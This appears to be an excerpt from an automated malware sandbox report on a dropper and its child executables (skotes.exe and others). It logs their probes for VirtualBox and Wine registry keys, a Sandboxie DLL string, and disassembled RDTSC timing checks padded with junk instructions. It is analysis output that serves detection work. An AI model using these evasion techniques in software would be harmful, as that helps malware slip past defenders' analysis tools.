Source: C:\Users\user\Desktop\ykDoK8BtxW.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: skotes.exe, 00000002.00000002.1683551407.00000000012B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL5I#
Source: skotes.exe, 00000003.00000002.1703413089.0000000001218000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 336064 second address: 336070 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5504CC35E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 336070 second address: 3360A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA7175h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F5504BA7176h 0x00000011 jmp 00007F5504BA716Eh 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3360A5 second address: 3360AB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3360AB second address: 3360B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 344381 second address: 3443AB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5504CC35E8h 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F5504CC35E6h 0x00000010 jmp 00007F5504CC35F8h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 34467F second address: 344692 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA716Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 344A67 second address: 344A7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007F5504CC35E6h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jl 00007F5504CC35E6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 344A7B second address: 344A94 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5504BA7166h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007F5504BA7170h 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3477EF second address: 3477F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3477F5 second address: 3477FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 347857 second address: 34785B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 34792B second address: 347937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5504BA716Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 347A48 second address: 347B0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 30D2ACB6h 0x00000010 push 00000003h 0x00000012 mov cx, C0F5h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F5504CC35E8h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 jmp 00007F5504CC35F7h 0x00000037 push 00000003h 0x00000039 mov ecx, dword ptr [ebp+122D3BA8h] 0x0000003f mov ecx, 59688A95h 0x00000044 call 00007F5504CC35E9h 0x00000049 jmp 00007F5504CC35F6h 0x0000004e push eax 0x0000004f push edx 0x00000050 jnc 00007F5504CC35E8h 0x00000056 pop edx 0x00000057 mov eax, dword ptr [esp+04h] 0x0000005b jg 00007F5504CC35F8h 0x00000061 mov eax, dword ptr [eax] 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 jmp 00007F5504CC35EBh 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 347B0B second address: 347B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 347B10 second address: 347B15 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 347B15 second address: 347B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ebx 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 33B174 second address: 33B17E instructions: 0x00000000 rdtsc 0x00000002 je 00007F5504CC35F2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 33B17E second address: 33B184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 36577E second address: 36578A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5504CC35E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 36578A second address: 365795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 365795 second address: 36579F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 36579F second address: 3657A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 365AA1 second address: 365AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007F5504CC35FEh 0x0000000b jmp 00007F5504CC35F8h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 365C0C second address: 365C1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnp 00007F5504BA7166h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 365C1E second address: 365C22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 365C22 second address: 365C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 366081 second address: 36608B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5504CC35ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 33B131 second address: 33B151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F5504BA7179h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 33B151 second address: 33B157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 33B157 second address: 33B174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F5504BA7176h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 366368 second address: 36636E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 36636E second address: 366372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 366372 second address: 366392 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35EDh 0x00000007 jmp 00007F5504CC35EFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3664EE second address: 3664F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 36665E second address: 36666F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504CC35ECh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 366799 second address: 36679D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 36679D second address: 3667B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5504CC35F2h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 35EECD second address: 35EED7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5504BA7166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 35EED7 second address: 35EEE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 366FF4 second address: 366FF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 366FF9 second address: 366FFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 366FFF second address: 36700F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F5504BA7166h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 367400 second address: 367411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b js 00007F5504CC35E6h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 367411 second address: 367431 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA7177h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 36D8D4 second address: 36D8DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 36D8DC second address: 36D8E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 36D8E4 second address: 36D8F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jnp 00007F5504CC35E6h 0x0000000c popad 0x0000000d je 00007F5504CC35ECh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 36D8F9 second address: 36D916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F5504BA7173h 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 372807 second address: 37280B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 33978D second address: 3397A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA7172h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3397A4 second address: 3397B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5504CC35E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 371EA0 second address: 371EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 371EA6 second address: 371EB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 371FEF second address: 371FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 371FF5 second address: 372017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F5504CC35EAh 0x0000000b jmp 00007F5504CC35F1h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 372017 second address: 372027 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F5504BA7166h 0x0000000a js 00007F5504BA7166h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 372027 second address: 372051 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F5504CC35EEh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 372182 second address: 37219B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA716Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b jc 00007F5504BA716Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 372695 second address: 37269C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37269C second address: 3726A6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5504BA716Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 376123 second address: 376136 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 376136 second address: 376140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F5504BA7166h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3768D6 second address: 3768E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F5504CC35E6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 376973 second address: 37697D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5504BA7166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 376C4C second address: 376C50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 376C50 second address: 376C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F5504BA7168h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 jc 00007F5504BA716Ch 0x0000002a mov dword ptr [ebp+122D232Ch], esi 0x00000030 xchg eax, ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 376C8E second address: 376C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 376C92 second address: 376C98 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 376C98 second address: 376CB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5504CC35F7h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 376CB3 second address: 376CB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 376CB7 second address: 376CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 377172 second address: 37717C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5504BA7166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37717C second address: 377186 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F5504CC35E6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37A036 second address: 37A040 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5504BA7166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37ACCF second address: 37ACD4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37B8B6 second address: 37B8D4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5504BA716Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5504BA716Bh 0x00000012 rdtsc
